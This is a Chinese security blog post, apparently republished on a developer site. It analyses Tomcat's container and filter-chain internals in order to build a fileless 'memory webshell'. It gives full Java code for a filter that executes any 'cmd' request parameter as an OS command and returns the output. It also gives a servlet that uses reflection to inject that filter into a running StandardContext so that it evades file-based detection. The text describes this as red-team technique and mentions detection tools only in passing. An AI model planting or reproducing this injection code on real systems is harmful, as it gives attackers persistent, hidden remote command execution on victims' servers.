Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马0x00前言在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接。而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之基于Tomcat实现内存马

0x00 前言

在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接。而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除webshell以及修补漏洞,内存马也很好的解决了反序列化回显的问题。但是随着红蓝攻防持续博弈中,一些内存马的查杀工具也开始逐渐开始出现、成型。所以有必要研究一下内存马的实现。

0x01 Tomcat架构分析

需要了解基于tomcat内存马实现还得去分析tomcat的一些处理机制以及结构。而在Tomcat中的内存马并不能和Weblogic的内存马实现通用,因为结构上就不一样。

下面对tomcat的体系结构与执行流程进行一系列的探究,下面来看张tomcat的架构图

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

  • Server:
    Server,即指的WEB服务器,一个Server包括多个Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。

  • Connector:

    Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
    Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

  • Engine:

    Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

  • Host:

    代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配
    每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context:

    一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成
    Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

下面来看详细说明:

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

对照图:

Java安全之基于Tomcat实现内存马

ProtocolHandler

Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是:

- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

Java安全之基于Tomcat实现内存马

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue)BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain 相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve StandardHostValveStandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValveBaseValve 是不可删除的。

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

这三张图其实就很好的解释了他的一个执行流程,看到最后一张图,在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。这里来解释一下过滤链。

过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称
过滤器链)。

Java安全之基于Tomcat实现内存马

如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都 FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。

整体的执行流程,如下图:

Java安全之基于Tomcat实现内存马

Server :
- Service 
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受,处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。
--- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Context: 相当于一个web应用
--- Context:相当于一个web应用
--- Context:相当于一个web应用

0x02 过滤链分析

在分析过滤链前需要了解的一些基础知识,不然看起来比较费劲。在网上查阅了一些资料。

ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

Java安全之基于Tomcat实现内存马

看到ServletContext的方法中有addFilteraddServletaddListener方法,即添加FilterServletListener

那么如何获取到这个ServletContext呢?

获取ServletContext的方法

this.getServletContext();
this.getServletConfig().getServletContext();

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

但是这里获取到的实际上是一个ApplicationContextFacade对象,该对象对ApplicationContext的实例进行的一个封装。

Java安全之基于Tomcat实现内存马

ApplicationContext

org.apache.catalina.core.ApplicationContext

对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

Filter链分析

过滤链创建细节分析

假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。
下面使用IDEA对其进行调试,这里配置了一个简单的过滤器,然后运行进行调试。

打开IDEA开冲。下个断点逆向进行分析

Java安全之基于Tomcat实现内存马

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter中会去调用filter.doFilter才会来到我们配置的filter.doFilter方法中。其实还是前面讲到的责任链。

这里会从filterConfig中去获取到一个filter对象然后来进行调用doFilter。跟踪到上层。

Java安全之基于Tomcat实现内存马

org.apache.catalina.core.ApplicationFilterChain#doFilter会被org.apache.catalina.core.StandardWrapperValve#invoke方法调用。

invoke方法说明:请求进入后,Connector调用context的invoke方法。invoke将请求交给其pipeline去处理,由pipeline中的所有valve顺序处理请求。

Java安全之基于Tomcat实现内存马

在invoke方法的位置调用filterChain.doFilter,对请求进行过滤操作。那么再来看看filterChain是如何获取到的。

Java安全之基于Tomcat实现内存马

使用ApplicationFilterFactory.createFilterChain创建了一个过滤链,将request, wrapper, servlet进行传递。

Java安全之基于Tomcat实现内存马

跟进ApplicationFilterFactory.createFilterChain方法查看

Java安全之基于Tomcat实现内存马

这里则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。

再来看到后面的代码
Java安全之基于Tomcat实现内存马

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

再回溯上层

 Wrapper wrapper = request.getWrapper();
		......
            
 wrapper.getPipeline().getFirst().invoke(request, response);

Java安全之基于Tomcat实现内存马

而下面的一系列都是调用管道的invoke方法,则对应这张图

Java安全之基于Tomcat实现内存马

Filter实例存储分析

下面再来看看Filter实例存放的位置在哪,在开发中会从web.xml或注解去配置一个Filter,org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

    filterMaps变量:包含所有过滤器的URL映射关系

    filterDefs变量:包含所有过滤器包括实例内部等变量 

    filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

Java安全之基于Tomcat实现内存马

0x03 内存马实现

先来配置一个配置上一个恶意的Filter。

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter("/*")
public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

Java安全之基于Tomcat实现内存马

本质上其实就是Filter中接受执行参数,但是如果我们在现实情况中需要动态的将该Filter给添加进去。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

这个StandardContext获取到的方式也有待研究。获取到StandardContext类后,后面的则是使用反射将一些属性或值添加进去的步骤。

0x04 结尾

寥寥草草结尾,其实还有很多值得研究。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119879.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 架构设计:微服务模式下,实现灰度发布模式

    架构设计:微服务模式下,实现灰度发布模式

    2020年11月20日
  • linux命令大全密码修改,linux修改密码命令「建议收藏」

    linux命令大全密码修改,linux修改密码命令「建议收藏」你会面对一个引导项目列表。查找其中类似以下输出的句行:kernel/vmlinuz-2.4.18-0.4roroot=/dev/hda2按箭头键直到这一行被突出显示,然后按[e]。你现在可在文本结尾处(空一格)再添加single/linux-s来告诉GRUB引导单用户Linux模式。按[Enter]键来使编辑结果生效。你会被带会编辑模式屏幕,从这里,按[b],GRU…

  • 深入浅出MFC—Frame1[通俗易懂]

    深入浅出MFC—Frame1[通俗易懂]#includeclassCObject{public: CObject() { printf(“CObjectConstructor\n”); } ~CObject() { printf(“CObjectDestructor\n”); }};classCCmdTarget:publicCObject{publ

  • 对象与实例的关系

    对象与实例的关系

  • Python脚本到Windows可执行程序——Cxfreeze的安装与使用

    Python脚本到Windows可执行程序——Cxfreeze的安装与使用Python脚本到Windows可执行程序——Cxfreeze的安装与使用下载安装打包程序通过命令行简单使用使用setup.py详细配置Python脚本到Windows可执行程序——Cxfreeze的安装与使用写好的Python程序,分发到Windows用户的时候,如果再在每一台电脑上配置执行Python程序的解释器和相应的依赖库,就会比较繁琐。所以可以将Python程序打包程可执行的.exe文件。可以用的库有:cx_freeze,py2exe,P.

    2022年10月20日
  • bfs官网_山谷和山脉

    bfs官网_山谷和山脉FGD小朋友特别喜欢爬山,在爬山的时候他就在研究山峰和山谷。为了能够对旅程有一个安排,他想知道山峰和山谷的数量。给定一个地图,为FGD想要旅行的区域,地图被分为 n×n 的网格,每个格子 (i,j) 的高度 w(i,j) 是给定的。若两个格子有公共顶点,那么它们就是相邻的格子,如与 (i,j) 相邻的格子有(i−1,j−1),(i−1,j),(i−1,j+1),(i,j−1),(i,j+1),(i+1,j−1),(i+1,j),(i+1,j+1)。我们定义一个格子的集合 S 为山峰(山谷)当且仅当:

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号